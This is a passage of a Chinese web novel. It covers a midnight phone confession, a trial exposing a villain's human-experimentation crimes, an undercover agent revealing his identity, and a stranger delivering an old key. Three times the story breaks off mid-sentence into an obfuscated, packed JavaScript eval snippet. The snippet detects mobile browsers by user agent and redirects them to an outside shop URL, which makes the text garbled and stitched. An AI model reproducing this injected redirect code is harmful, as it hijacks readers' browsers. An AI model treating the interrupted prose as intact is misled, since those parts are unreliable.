“唐果的论文也发表了。”林骁接着说,“关于日军实验室的考古发现,引起了国际学术界的震动。日本政府已经正式道歉,并同意设立受害者纪念碑。” 好消息一个接一个。小小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没什么。”江砚辞说,“就是……想听听你的声音。” 电话那头安静了几秒,然后传来窸窸窣窣的声音,似乎是苏晚晚坐了起来:“你在哪?” “一个以前练车的地方。” “一个人?” “嗯。” 苏晚晚的声音温柔下来:“睡不着?” “在想一些事。”江砚辞靠在座椅上,“想我父亲如果看到今天,会说什么。想我母亲如果能等到今天,会多高兴。也想……我们的以后。” “我们的以后,”苏晚晚轻声重复,“你想怎么过?” “想每天早晨一起醒来,想一起研究怎么让舞蹈更安全、让驾驶更安全,想周末去山里散步,想教你开车,想你教我跳舞的基本功。”江砚辞顿了顿,“还想……等一切都安稳了,问你愿不愿意,一直和我在一起。” 电话那头传来轻柔的笑声:“江砚辞,你这算表白吗?” “算吧。”江砚辞也笑了,“虽然选的时间和地点都不太好。” “我觉得挺好。”苏晚晚说,“在黑暗中等待黎明的时候,说出对光明的期待——很符合我们的故事。” 她顿了顿,声音更轻了: “我愿意。” 三个字,在寂静的夜里清晰得像心跳。 江砚辞握紧手机,感到眼眶发热。他没有说话,只是听着电话那端苏晚晚平稳的呼吸声,和她背后隐约传来的、老宅里古董座钟的滴答声。 许久,苏晚晚说:“天快亮了。你该回去了。” “嗯。” “明天庭审结束后,我来找你。” “好。” “江砚辞。” “嗯?” “开车小心。你的安全系统还没研发出来呢。” 江砚辞笑了:“知道了。” 挂了电话,他发动车子。东方天际已经泛起鱼肚白,第七天的黎明,正在到来。 车子驶回市区。街道上开始有环卫工人清扫,早餐店亮起灯光,这座城市即将苏醒。 而江砚辞知道,他的新生活,也即将开始。 不是轰轰烈烈的重返巅峰,不是万众瞩目的英雄归来,而是一条平实但坚定的路——和爱的人一起,做有意义的事,过有温度的生活。 这就够了。 车子停在修车铺门口时,天已微亮。周屿站在门口,手里拿着两份热腾腾的豆浆油条。 “还以为你跑了呢。”周屿递过早餐。 “跑不了。”江砚辞接过,“答应了很多人的事,还没做完。” 两人坐在修车铺门口的小凳上,看着街道渐渐热闹起来。卖报的老人蹬着三轮车经过,送奶工在每家每户门口放下玻璃瓶,早起的学生背着书包匆匆走过。 平凡而珍贵的早晨。 “等这边的事都结束了,”周屿突然说,“我想去读个研究生,专攻网络安全。这次和‘渡鸦’交手,发现自己还有很多要学的。” “很好啊。”江砚辞说,“需要推荐信的话,我可以找李教授。” “谢了。”周屿啃着油条,含糊不清地说,“不过在那之前,我得先帮你把培训中心建起来。你那个技术宅,懂什么建筑施工?” 江砚辞笑了:“确实不懂,靠你了。” 晨光洒在两人身上,暖洋洋的。 第七天,开始了。 也是新生活的第一天。 32. 第三十二章 第三十二章审判日·尘封档案 ## **上午九点·北京市第一中级人民法院** 深秋的晨光透过法院高大的玻璃窗,在肃穆的法庭地面投下几何状的光斑。旁听席已经坐满,媒体区架起了长枪短炮,空气中弥漫着压抑的期待。 江砚辞坐在证人等候区,指尖无意识地摩挲着西装袖口——这套西装是周律师昨天带他去买的,三年来他第一次穿得如此正式。右肩的旧伤在空调冷风中隐隐作痛,但更让他紧绷的是今天要面对的。 “紧张吗?”坐在身旁的苏晚晚轻声问,她的手指轻轻覆上他的手背。 江砚辞摇头,又点头:“有一点。不是紧张作证,是紧张……这一切终于要结束了。” 苏晚晚理解他的心情。三个月的追查,七天的生死倒计时,二十年的悬案,今天将迎来最终的审判。陆文渊的罪名清单长达十七项,从商业贿赂到跨国洗钱,从非法人体实验到技术盗窃,每一项都足够让他在监狱里度过余生。 法槌敲响,全场肃静。 审判长宣布开庭,法警将陆文渊带上被告席。那个曾经意气风发的陆家继承人,此刻穿着统一的囚服,头发剃短,面色灰败。但当他的目光扫过旁听席,落在江砚辞身上时,眼底仍然闪过一丝阴鸷的恨意。 公诉人开始宣读起诉书。冗长的法律条款中,穿插着触目惊心的犯罪事实:缅甸雨林中的实验营地,老防空洞下的日军实验室遗迹,流向“渡鸦”组织的八千万欧元资金…… 江砚辞听着,思绪却飘回三个月前。如果那个雨夜他没有走进巷口便利店,如果他没有接下苏晚晚那个荒唐的订单,如果他没有在瑞士遇见阿影……这一切还会被揭开吗? 也许不会。也许陆文渊的野心会继续膨胀,也许“渡鸦”的技术会在黑暗中成熟,也许会有更多无辜者成为实验品。 命运的安排,有时令人不寒而栗。 “传唤第一证人,周屿。” 周屿坐在轮椅上被推入法庭。虽然腿伤未愈,但他的眼神坚定,操作着笔记本电脑向法庭展示证据:银行流水、加密邮件、资金流向图……每一个数据点都精准地指向陆文渊。 “根据从‘渡鸦’数据库恢复的交易记录,”周屿的声音通过麦克风清晰传遍法庭,“陆文渊在2018年至2023年间,通过七个离岸空壳公司向‘渡鸦’组织转移资金累计八千四百万欧元。这些资金主要用于三项用途:购买‘乌鸦计划’原始数据、在缅甸建立实验基地、收买相关领域专家学者。” 辩护律师试图质疑证据来源的合法性,但周屿出示了国际刑警组织提供的正式证据移交文件——文件上有隼的亲笔签名和官方印章。 “这些证据是通过合法国际合作渠道获取的。”周屿冷静回应,“国际刑警组织‘渡鸦’专案组已于上月正式立案,相关证据已通过外交途径完成司法移交。” 法庭一阵低语。国际刑警的介入,意味着这个案件已经上升到跨国犯罪的层面。 接下来是唐果和林骁的证词。两人带来了沉重的实物证据箱——从日军实验室抢救出的实验记录原件,泡在福尔马林中的器官标本照片,“渡鸦”在老防空洞下设立的新实验室现场照片。 当投影屏上出现那些触目惊心的画面时,旁听席传来压抑的惊呼和抽泣声。 “根据这些文件记录,”唐果的声音有些发颤,但她强迫自己保持镇定,“1944年至1945年间,至少有247人在这个实验室中被迫参与‘金刚血清’实验,全部死亡。而2019年至2023年,‘渡鸦’利用日军遗留的设施和部分数据,在缅甸进行了至少37次非法人体实验,导致19人死亡,8人永久性残疾。” 林骁补充:“我们在地下三层发现了陆文渊亲自签署的设备采购单和人员派遣记录。所有证据表明,他不仅知情,而且是这些实验的主要资助者和组织者。” 轮到苏柏年出庭时,法庭气氛变得更加微妙。这位曾经南城商界举足轻重的人物,此刻站在证人席上,背影微驼,但语气坚定。 “我承认,在陆文渊的威胁利诱下,苏氏航运曾为‘渡鸦’运输过三批实验设备。”苏柏年的声音在安静的法庭里回荡,“为此,我愿承担一切法律责任。但我今天站在这里,不仅是为了认罪,更是为了揭露一个更大的阴谋——” 他深吸一口气:“陆文渊曾多次向我透露,陆家与‘渡鸦’的合作始于他祖父陆远山时代。1945年日军投降前夕,陆远山作为翻译官,协助日军将‘金刚计划’的部分实验数据和样本转移隐藏。战后,他又将这些交给了‘渡鸦’的前身组织,以此换取政治庇护和商业资源。” 旁听席哗然。这段家族秘史,连陆文渊都睁大了眼睛。 “陆文渊对我说,”苏柏年继续,“他祖父临终前留下遗言:陆家必须拿到‘乌鸦计划’的完整技术,这是家族复兴的关键。为此,他们可以不惜一切代价——包括制造车祸害死江振华,包括买通医生加速江美玲的病情恶化,包括设计陷害江砚辞。” 江砚辞的拳头在桌下握紧。虽然他早已猜到真相,但亲耳听到证词,仍是另一番感受。苏晚晚的手轻轻覆上他的拳头,传递着无声的支持。 “你为什么现在才说出来?”公诉人问。 苏柏年苦笑:“因为我懦弱。我害怕陆家的报复,害怕失去苏氏航运,害怕晚晚受到伤害。但现在我明白了——沉默就是帮凶。我不能再错下去了。” 他转向被告席,直视陆文渊:“你曾威胁我,如果不同意联姻,就会让晚晚‘意外受伤’。你还说,这桩婚姻不只是商业联姻,更是为了监控江砚辞,拿到他父亲算法的最后部分。陆文渊,你和你祖父一样,把人命当筹码,把技术当武器。但今天,这一切该结束了。” 陆文渊的脸色从灰败变成铁青,他猛地站起,被法警按住。他死死盯着苏柏年,嘴唇颤抖着,却说不出一句话。 ## **下午两点·关键证人** 午休过后,法庭气氛更加凝重。所有人都知道,接下来出庭的将是本案最关键的证人。 “传唤证人,江砚辞。” 江砚辞起身,整理了一下西装,稳步走向证人席。宣誓时,他的声音平稳清晰。当他的目光与陆文渊在空中相遇时,没有愤怒,没有仇恨,只有一种平静的审视。 “江先生,请讲述你与本案的关联。”公诉人道。 江砚辞开始讲述。从他父亲的意外身亡,到母亲的病重离世,到三年前自己被诬陷作弊,再到三个月前的瑞士之行、阿尔卑斯山的逃亡、缅甸雨林的秘密、列支敦士登的决战……他的叙述简洁而克制,但每一个细节都令人心惊。 当他提到“渡鸦”组织的“启明星计划”,提到那些被当成实验体的无辜村民时,旁听席上有人忍不住啜泣。 “所以,”公诉人总结,“你认为陆文渊是这一切的主谋?” “不完全是。”江砚辞的回答出乎所有人意料,“陆文渊是执行者,是野心家,但他背后还有更深的势力。‘渡鸦’组织存在了八十年,跨越国界,渗透各行各业。陆家只是他们在亚洲的白手套之一。要真正终结这一切,不仅要惩罚陆文渊,更要拔除‘渡鸦’的根系。” 他看向审判席:“因此,我请求法庭在量刑时,考虑陆文渊转为污点证人的可能性。他掌握着‘渡鸦’在亚洲的网络,如果愿意合作,可以帮助国际刑警摧毁更多据点。” 旁听席一片哗然。连陆文渊都愣住了。 辩护律师抓住机会:“江先生,你是在为我的当事人求情吗?” “不是求情,是务实。”江砚辞平静地说,“复仇不能让死者复生,但正义可以防止更多人受害。如果陆文渊的合作能拯救更多可能成为实验体的人,那么这种合作值得考虑。” 审判长与合议庭成员低声交流。这是一个从未预料的转折。 轮到辩护律师提问时,对方显然有些措手不及。他试图质疑江砚辞证词的可信度,质疑那些跨国证据的合法性,甚至质疑江砚辞本人的动机。 “江先生,你刚才提到自己掌握了‘乌鸦计划’转化而来的医疗技术。”辩护律师咄咄逼人,“你是否打算利用这个技术谋取商业利益?你今天的证词,是否是为了扫清商业竞争对手?” 江砚辞笑了,笑容里有一丝疲惫的讽刺:“如果我想谋利,就不会在昨天将完整算法开源,无偿提供给全球医疗机构。如果我想扫清对手,陆文渊根本活不到今天——在列支敦士登,我有无数次机会可以杀他。” 他顿了顿,声音低沉而有力: “我父亲一生致力于用技术救人,却因此被害。我母亲为保护技术真相,郁郁而终。我失去了三年职业生涯,失去了正常人的生活。今天站在这里,我不是为了复仇,是为了完成他们的遗愿——让沾血的技术最终救人,让黑暗中的真相重见天日,让作恶者付出代价,让受害者得到告慰。” 法庭陷入短暂的寂静。然后,旁听席上响起了掌声——起初零星,随后蔓延,最后连法警都没有制止。那掌声不是欢呼,而是一种肃然的敬意。 审判长敲响法槌,维持秩序。 江砚辞的作证持续了两个小时。当他最终离开证人席时,感到的不是解脱,而是一种深沉的疲惫。苏晚晚在座位上对他点头,眼中闪着泪光。 ## **下午五点·意外来客** 庭审进入最后阶段,公诉人开始总结陈词。就在这时,法庭大门被推开,一行人走了进来。 为首的是个五十多岁、头发花白的男人,穿着笔挺的西装,胸前别着国徽徽章。他身后跟着两个助手,以及——一个让所有人震惊的身影。 阿影。 不是穿战术服、脸上涂迷彩的阿影,而是穿着整洁衬衫、戴着金丝眼镜的阿影。他的脸干净清爽,那道标志性的疤痕还在,但整个人的气质完全不同了——从暗夜中的猎手,变成了阳光下学者。 “审判长,”花白头发的男人出示证件,“我是国安部特别调查局局长,陈国栋。这位是叶峥同志,国安部特别顾问,也是‘渡鸦’专案组核心成员。我们有重要证据需要当庭提交。” 整个法庭都愣住了。连江砚辞都睁大了眼睛——叶峥?阿影的真名是叶峥? 阿影——叶峥走到法庭中央,向审判席微微鞠躬,然后转向众人。他的目光扫过江砚辞和苏晚晚,轻轻点了点头,然后开口,声音平稳而清晰: “我的真名是叶峥,叶真真的亲弟弟。1998年姐姐牺牲时,我十六岁,正在英国读高中。姐姐临终前托人带话给我:如果有一天江家和林家的后人需要帮助,不惜一切代价。” 他停顿了一下,继续: “从那时起,我就开始追查‘渡鸦’。2002年,我考入剑桥大学计算机科学专业,同时在军情六处兼职——以留学生的身份,为他们提供网络安全咨询。2006年硕士毕业后,我正式加入国安部,代号‘影子’,任务是渗透‘渡鸦’,获取其全球网络信息。” 法庭里鸦雀无声。所有人都被这个突如其来的身份揭秘震惊了。 “过去十七年,我以各种身份潜伏在‘渡鸦’外围,”叶峥继续,“黑客、情报贩子、技术顾问……直到三年前,我发现他们盯上了江砚辞。于是我启动保护程序,匿名为他提供线索,引导他找到真相。” 他看向江砚辞:“瑞士银行的匿名信是我寄的。老防空洞的线索是我通过考古论坛透露给唐果的。苏黎世大学图书馆的权限是我通过林静文教授安排的。阿尔卑斯山的救援是我协调国际刑警实施的。每一次,我都尽可能在不暴露的前提下帮助你们。” 江砚辞终于明白了。为什么那些线索总在关键时刻出现,为什么总有人在暗中相助,为什么阿影似乎无所不能又神秘莫测。 “但我不能过早暴露,”叶峥的声音低了些,“因为我的任务不只是保护你们,更是要挖出‘渡鸦’的完整网络。我需要陆文渊这个饵,需要他带领我们找到更大的鱼。” 他转向被告席,直视陆文渊:“你自以为掌控一切,实际上,从你第一次接触‘渡鸦’开始,就一直在我的监控之下。你所有的通讯、所有的交易、所有的秘密会面,我都记录在案。” 叶峥的助手将一个加密硬盘交给法庭技术人员。很快,投影屏上开始播放令人震惊的内容: ——陆文渊与“渡鸦”高层在维也纳的秘密会面录像; ——陆文渊签署人体实验批准文件的扫描件; ——陆文渊指示手下“处理”证人的录音; ——甚至还有陆文渊与某个欧洲国家政要的对话记录,内容涉及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004299|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技术交易和政治献金。 “这些证据足以证明,”叶峥总结,“陆文渊不仅是‘渡鸦’在亚洲的代理人,更是其全球战略的关键一环。通过他,我们可以挖出‘渡鸦’在欧洲、北美、中东的三十七个关联组织和一百五十三名核心成员。” 他看向审判长:“因此,我代表国安部特别调查局,正式请求法庭考虑与陆文渊达成辩诉交易。以他的合作为条件,换取从轻量刑。这不是宽恕,是战略需要——用一个小卒,换掉整盘棋。” 法庭陷入长时间的沉默。审判长与合议庭紧急商议。 陆文渊坐在被告席上,脸色变幻不定。他知道,叶峥给出的是一条生路——合作,或许还能在有生之年走出监狱;不合作,等待他的将是死刑或无期徒刑。 漫长的十分钟后,审判长宣布休庭三十分钟,合议庭需要研究这个突如其来的提议。 ## **休庭间隙·走廊里的对话** 江砚辞在走廊里找到叶峥。这位刚刚揭开真实身份的“影子”,正靠窗站着,看着窗外法院院子里飘落的银杏叶。 “叶……先生。”江砚辞一时不知该如何称呼。 “还是叫我阿影吧。”叶峥转头,露出一个温和的笑容,“听惯了。” “你真的是国安部的人?” “十七年了。”阿影点头,“姐姐牺牲后,我就下定决心要走这条路。我想她不会反对——她为之付出生命的事业,由我来继续完成。” 他从口袋里掏出一个老旧的怀表,打开,里面是一张小小的合影:年轻的叶真真搂着少年时的阿影,两人笑得很灿烂。 “这是姐姐留给我的最后一张照片。”阿影轻声说,“她总说,等我长大了,要带我去阿尔卑斯山看雪。但她没能等到。” 江砚辞看着照片,想起母亲录像里那个戴眼镜的年轻女孩,想起她最后的牺牲。 “为什么现在才暴露身份?”他问。 “因为任务完成了。”阿影收起怀表,“‘渡鸦’的亚洲网络已被基本肃清,欧洲和北美分部也在国际刑警的联合行动中被重创。我的潜伏使命结束了。而且……” 他看向法庭方向:“陆文渊的审判是个契机。通过这个案件公开部分真相,既能震慑残余势力,也能给受害者一个交代。更重要的是——” 他停顿,认真地看着江砚辞:“我需要正式向你道歉。这三个月,我利用了你,利用了你对真相的渴望,把你置于危险之中。虽然是为了更大的目标,但这对你不公平。” 江砚辞摇头:“没有你的引导,我可能永远找不到真相。而且……你也救过我的命,不止一次。” “但我也隐瞒了许多。”阿影苦笑,“比如,我早就知道陆文渊在缅甸的实验,但为了放长线,没有及时阻止。那些死去的村民……我也有责任。” 走廊里沉默下来。窗外,银杏叶金黄,在秋风中打着旋儿飘落。 “所以你建议让陆文渊做污点证人,”江砚辞说,“是为了弥补?” “一部分是。”阿影承认,“另一部分是现实考量。‘渡鸦’太庞大,光靠打击是打不完的。我们需要从内部瓦解,需要像陆文渊这样了解其运作的人。用他的合作换取更多情报,拯救更多可能受害的人——这个交易,值得做。” 苏晚晚走了过来,她刚才听到了部分对话。 “叶先生,”她轻声说,“真真阿姨如果知道你今天做的一切,一定会为你骄傲。” 阿影的眼眶微红,但他很快控制住情绪:“谢谢。其实……姐姐当年已经预见到了今天。她在最后一篇日记里写:‘如果小峥走上这条路,别拦他。有些人注定要在阴影中守护光明。’” 法警走来,通知休庭结束。 三人一起走回法庭。在门口,阿影停住脚步:“庭审结束后,我会正式退役。十七年的影子生涯,该结束了。” “然后呢?”江砚辞问。 “也许会去大学教书。”阿影微笑,“或者写本书,关于姐姐,关于‘渡鸦’,关于这十七年。不过在那之前——” 他从公文包里取出一个文件袋:“这是姐姐当年留下的完整研究笔记,包括‘凤凰计划’的所有原始数据。她希望有一天,这些研究能由江家和林家的后人继续。现在,我正式转交给你们。” 江砚辞和苏晚晚郑重接过文件袋。那不是技术的重量,是传承的重量。 ## **晚上七点·最终判决** 法庭重新开庭时,气氛已经完全不同。陆文渊的辩护律师向法庭提交了辩诉交易申请,陆文渊本人也当庭表示愿意配合调查,提供所知的一切信息。 经过一个小时的商议,审判长宣布: “考虑到本案的特殊性和国际合作需要,本庭决定接受辩诉交易。被告人陆文渊,你将被判处有期徒刑二十年,但如果你能如实供述,积极配合国际刑警摧毁‘渡鸦’残余网络,本庭将根据你的立功表现,依法予以减刑。” “同时,本庭责令陆远集团依法承担对缅甸实验受害者的民事赔偿,总额不低于两亿元人民币。所有非法所得予以没收。” “本案涉及的其他犯罪嫌疑人,将由检察机关另案起诉。” 法槌落下,审判结束。 陆文渊被法警带走时,回头看了江砚辞一眼。那眼神复杂,有怨恨,有不甘,但也有一丝如释重负——至少,他还活着,还有机会。 人群开始散去。江砚辞和苏晚晚走出法院,迎面是闪烁的相机闪光灯。但这一次,他们没有躲避。 “江先生,对于这个判决,您满意吗?”有记者问。 “正义得到了伸张,这就够了。”江砚辞回答。 “苏小姐,听说您和江先生正在筹备一个培训中心?” 苏晚晚点头:“是的。我们将把江叔叔的算法应用于驾驶安全和舞蹈康复,帮助更多人。这个中心将建在浙江的一个小山村里,预计明年春天动工。” “那你们的个人关系呢?是否如传闻所说……” 江砚辞和苏晚晚相视一笑,没有回答,但十指相扣的手已经说明了一切。 夜幕降临,法院的灯光在秋夜中格外明亮。江砚辞抬头,看到一片清澈的星空。 二十年的迷雾,终于散去。 而新的路,就在脚下。 33. 第三十三章 第三十三章暗流再起·陌生的盟友 ## **一个月后·浙江安吉竹海** 初冬的薄雾笼罩着山谷,青翠的竹海在晨雾中若隐若现。江砚辞站在刚刚完成地基平整的土地上,手里拿着设计图纸,呼出的白气在冷空气中凝成雾团。 培训中心的建设并不顺利。虽然陆文渊案结束后,相关部门一路绿灯,但实际施工中遇到的困难远超预期:山体土质问题需要额外加固,环保审批又追加了新要求,最重要的是——资金缺口比想象中要大得多。 “李教授那边的科研经费只能覆盖设备采购,”苏晚晚从临时板房走出来,递给他一杯热茶,“建筑成本还得我们自己想办法。我算过了,即使把我们在南城的房产都抵押,还差至少三百万。” 江砚辞看着图纸上规划的舞蹈康复工作室、模拟驾驶舱、还有那个叶真真纪念展厅,沉默不语。三个月前,他们以为最大的障碍是真相和正义,现在才发现,现实的重建同样艰难。 “要不先砍掉纪念展厅?”苏晚晚轻声建议,“等以后资金充裕了再补建。” “不行。”江砚辞摇头,“那是核心。没有那个展厅,这里就只是一个普通的培训中心,不是我们想建的……传承之地。” 手机响了,是周屿打来的视频电话。屏幕里的周屿坐在清华实验室里,背景是闪烁的服务器机柜。 “砚辞哥,有个情况。”周屿的表情严肃,“我监控到一些异常的访问记录,有人在尝试攻击WHO的公开数据库——就是你父亲算法上传的那个库。” 江砚辞皱眉:“什么人?” “技术特征很专业,但手法又有些……老旧。”周屿调出一串数据,“像是我父亲那一代人用的方式。而且他们不是想窃取数据,更像是在检查数据的完整性,甚至在做备份。” “备份?” “对。就好像……怕这些数据丢失一样。”周屿顿了顿,“更奇怪的是,攻击源有部分来自瑞士,部分来自日本,还有几个无法定位的加密节点。” 苏晚晚凑近屏幕:“会不会是‘渡鸦’的残余势力?” “不像。”周屿摇头,“‘渡鸦’的手法我研究过,更隐蔽更现代化。这种风格……让我想起一些老派的科研机构。” 通话结束后,江砚辞陷入沉思。父亲算法公开后,确实在医学界引起了轰动。三个月来,已经有十几家研究机构发表了基于该算法的早期临床成果。有人关注这些数据很正常,但为什么要用攻击的方式检查完整性? “也许,”苏晚晚突然说,“是当年和真真阿姨、你父亲一起工作过的人。他们可能不知道数据已经公开,以为还在‘渡鸦’手里,所以想‘救’出来?” 这个推测让江砚辞心头一震。确实,如果当年还有其他人参与“凤凰计划”,在叶真真牺牲、施密特博士隐居、自己父母相继离世后,这些人可能一直隐藏在暗处,默默守护着当年的成果。 就在这时,远处山路上传来汽车引擎声。一辆沾满泥点的灰色越野车颠簸着驶来,停在了工地入口。 车门打开,下来一个约莫六十岁上下的男人。他身材高大,穿着普通的冲锋衣和登山裤,头发花白但梳理整齐,脸上架着一副金属框眼镜,看起来像个学者。但江砚辞注意到他下车时的动作——受过军事训练的人才有的利落。 男人环顾四周,目光最后落在江砚辞身上,径直走来。 “江砚辞?”他的声音沉稳,带着一点江浙口音。 “我是。您是?” 男人没有回答,而是从背包里取出一个牛皮纸信封,递过来:“有人托我把这个交给你。他说,如果你还在坚持建这个中心,就需要这个。” 江砚辞接过信封,没有立刻打开:“谁托您的?” “一个老朋友。”男人微笑,“也是你父亲的老朋友。” 他说完转身要走,江砚辞叫住他:“请等一下。至少告诉我您的名字。” 男人停下脚步,回头:“我姓沈,沈青山。现在在浙大医学院做访问学者。至于其他的……”他顿了顿,“等你看完信,如果还有疑问,可以来杭州找我。地址在信封里。” 越野车掉头离开,消失在竹林掩映的山路尽头。 江砚辞和苏晚晚回到板房,打开信封。里面没有信纸,只有一张老照片和一把铜钥匙。 照片是1985年在苏黎世拍的:年轻的江振华、叶真真、林薇,还有一个二十多岁的青年,四人站在实验室门口,笑容灿烂。江砚辞认出那是父亲和真真阿姨、母亲,但那个青年——他不认识。 照片背面用钢笔写着一行德文:“**Mit Professor Shen, der uns geholfen hat, die Ethikkommission zu überzeugen.**”(与沈教授,他帮助我们说服了伦理委员会。) “沈教授……”苏晚晚轻声说,“难道就是刚才那个人?” 江砚辞拿起那把铜钥匙。钥匙很旧,上面刻着编号:ZJ-728。这个编号他见过——在苏黎世大学图书馆的特藏库里,那是叶真真当年存放“凤凰计划”资料的地方。 可是那些资料不是已经被阿影取出来了吗?这把钥匙又有什么用? 手机再次响起,这次是叶峥——阿影。他现在定居在苏黎世湖边的一栋老房子里,偶尔会发来一些老照片,或者询问培训中心的进展。 “阿影,”江砚辞直接问,“你认识一个叫沈青山的人吗?” 电话那头沉默了几秒:“名字很陌生。怎么了?” 江砚辞描述了刚才的遭遇,提到那把钥匙和照片。 叶峥的声音变得有些迟疑:“钥匙编号ZJ-728……那确实是姐姐当年用的保险柜。但我取出的只是明面上的资料。你是说,可能还有隐藏的部分?” “沈青山说,如果我还坚持建这个中心,就需要这个。”江砚辞看着手中的钥匙,“他看起来不像坏人,但也不像普通人。” “把照片发给我。”叶峥说,“我查查这个人。” 十分钟后,叶峥回电,声音里带着明显的困惑:“我查了国安部的档案,也查了国际刑警的数据库,没有沈青山的记录。浙大医学院确实有个访问学者叫沈青山,但照片上的人……和到你工地的那个人不是同一个。” “什么?” “浙大的沈青山教授今年七十三岁,三个月前中风住院,现在还在康复中,根本不可能开车去安吉。”叶峥顿了顿,“有人冒用了他的身份。” 江砚辞感到后背发凉:“那这个人到底是谁?” “我不知道。”叶峥的声音很轻,“但有一件事很奇怪——看到你发来的那张老照片,我觉得那个青年……很眼熟。虽然我不记得在哪里见过,但就是有种熟悉感。” 这通电话让事情更加扑朔迷离。一个冒用身份的神秘人,一把不知用途的旧钥匙,还有阿影那种莫名的熟悉感。 苏晚晚突然说:“砚辞,我们去杭州。既然他留下了地址,我们就去问清楚。” “万一有危险呢?” “如果他想害我们,今天在工地就可以动手。”苏晚晚摇头,“他特地送来钥匙和照片,更像是在……试探,或者,寻求合作。” 江砚辞看着手中的钥匙,金属在灯光下泛着温润的光泽。这把钥匙在黑暗中埋藏了二十年,如今突然出现,必然带着未说完的故事。 “好。”他做出决定,“明天一早去杭州。” ## **同一时间·瑞士苏黎世** 叶峥坐在书房里,对着电脑屏幕上那张老照片出神。照片上的青年大约二十五六岁,戴着一副圆框眼镜,笑容腼腆,站在姐姐身边,两人的肩膀靠得很近。 那种熟悉感挥之不去。就好像……他曾经和这个人很亲近,但记忆被生生挖走了一块。 他调出国安部的内部数据库,输入自己的权限密码,开始搜索所有与“凤凰计划”相关的档案。作为曾经的“影子”,他有最高级别的访问权限,但很多二十年前的纸质档案尚未数字化,只能查到概要。 档案显示,“凤凰计划”(1985-1998)的核心成员只有四人:江振华、叶真真、林薇、卡尔·施密特。但在辅助人员名单里,有一个名字被涂黑了,旁边标注:“**身份保密,代号‘青松’**”。 青松。沈青山。 叶峥的心脏猛地一跳。他继续翻找,找到一份1997年的行动报告——那是国安部首次注意到“凤凰计划”的存在。报告中提到,当时部里曾派遣一名年轻特工以研究生身份接近项目组,任务是评估该项目的安全风险和国际影响。 那名特工的名字被涂黑,代号:青松。 报告的最后一段写道:“**‘青松’在项目组工作两年后,于1998年8月意外暴露,遭‘渡鸦’追捕。在一次掩护叶真真撤离的行动中重伤失踪,推定死亡。**” 失踪。推定死亡。 叶峥感到头痛欲裂。一些破碎的画面在脑海中闪现:大雨的夜晚,枪声,有人推了他一把,大喊“快走!”然后是坠落,冰冷的水,黑暗…… 他抱住头,冷汗浸湿了衬衫。那段记忆就像被锁在厚重的铁门后,他能感觉到它的存在,却打不开。 电话响起,是他在国安部的前上司,陈国栋局长。 “叶峥,我看到你的查询记录了。”陈局的声音很严肃,“你在查‘青松’?” “他是谁?”叶峥直接问,“和我是什么关系?” 电话那头沉默了很长时间。 “本来不想告诉你的。”陈局终于开口,“但既然你自己查到了……‘青松’是你当年的搭档,也是你的师兄。他比你早三年进部里,能力出众,性格沉稳,是你的引路人。” 叶峥握紧了话筒:“然后呢?” “1996年,部里决定派人接近‘凤凰计划’。当时你和‘青松’都符合条件,但最终选了他,因为他年龄更接近研究生,而且有神经科学的学术背景。”陈局停顿,“他潜入得很成功,不仅获得了江振华和叶真真的信任,还真的为项目做出了贡献——照片上那个说服伦理委员会的人,就是他。” “1998年发生了什么?” “那年夏天,‘渡鸦’发现了‘青松’的真实身份,开始追捕。8月的一个雨夜,‘青松’掩护叶真真从苏黎世撤离,在莱茵河边与追兵交火。”陈局的声音低下来,“根据叶真真后来发回的简报,‘青松’身中三枪,坠入河中。她本想去救,但追兵赶到,只能先行撤离。” “那尸体呢?” “没有找到。莱茵河那段水流湍急,搜索三天只找到他的一只鞋和破损的眼镜。”陈局叹气,“部里追认他为烈士,但因为任务保密,没有公开表彰。而你……在那次事件后出现了严重的创伤后应激障碍,选择性遗忘了关于‘青松’的所有记忆。” 叶峥感到呼吸困难。原来那段空白的记忆里,藏着一个为他、为姐姐牺牲的人。 “如果他没死呢?”叶峥声音发颤,“如果沈青山就是他……” “可能性很小,但不是没有。”陈局说,“当年确实没有找到尸体。如果他活下来了,这二十多年为什么一直隐藏?为什么现在突然出现?” “因为江砚辞在重建‘凤凰计划’的精神。”叶峥明白了,“他在暗中观察,看到砚辞真的在继承父辈的遗志,才决定现身。” “如果是这样,”陈局郑重地说,“叶峥,你要小心。二十年的时间可以改变很多人。我不知道‘青松’这些年经历了什么,也不知道他现在站在哪一边。” 通话结束后,叶峥走到窗前,看着夜色中的苏黎世湖。湖面倒映着城市的灯光,波光粼粼,就像那些破碎的记忆。 师兄。搭档。为救姐姐而牺牲的人。 如果沈青山真的是他,那这二十二年,他是怎么活下来的?又为什么等到现在才出现? 叶峥做了决定。他订了最近一班飞往上海的机票。 有些记忆,必须亲自找回。 有些答案,必须当面问清。 ## **次日中午·杭州西溪湿地** 沈青山留下的地址在西溪湿地深处的一栋老宅里。白墙黑瓦,木门虚掩,院子里种满了竹子,池塘里游着几尾锦鲤。 江砚辞和苏晚晚推门进去时,沈青山正坐在院子的石凳上泡茶。茶香袅袅,他抬起头,对两人微笑:“来了。比我想的晚了一天。” “您到底是谁?”江砚辞开门见山。 沈青山没有直接回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 